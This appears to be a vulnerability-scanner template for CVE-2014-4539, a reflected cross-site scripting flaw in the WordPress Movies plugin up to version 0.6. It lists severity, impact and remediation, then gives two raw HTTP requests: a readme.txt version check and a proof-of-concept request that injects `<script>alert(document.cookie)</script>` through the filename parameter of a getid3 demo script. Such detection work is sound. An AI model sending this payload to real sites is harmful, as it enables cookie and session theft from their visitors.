| Title | Movies <= 0.6 - Cross-Site Scripting |
|---|---|
| Author | daffainfo |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information. |
| Remediation | Upgrade to a patched version of the Movies plugin (version 0.7 or above) that addresses the XSS vulnerability. |
| CVSS Score | 6.1 |
| EPSS Score | 0.0161 |
| CVE ID | CVE-2014-4539 |
| CWE ID | CWE-79 |
| Tags | cve2014 cve wordpress wp-plugin xss wpscan unauth movies_project vuln |
A cross-site scripting vulnerability in the Movies plugin 0.6 and earlier for WordPress allows remote attackers to inject arbitrary web script or HTML via the filename parameter to getid3/demos/demo.mimeonly.php.
GET /wp-content/plugins/movies/readme.txt HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:106.0) Gecko/20100101 Firefox/106.0
Connection: close
Accept-Encoding: gzip
GET /wp-content/plugins/movies/getid3/demos/demo.mimeonly.php?filename=filename%27%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Knoppix; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
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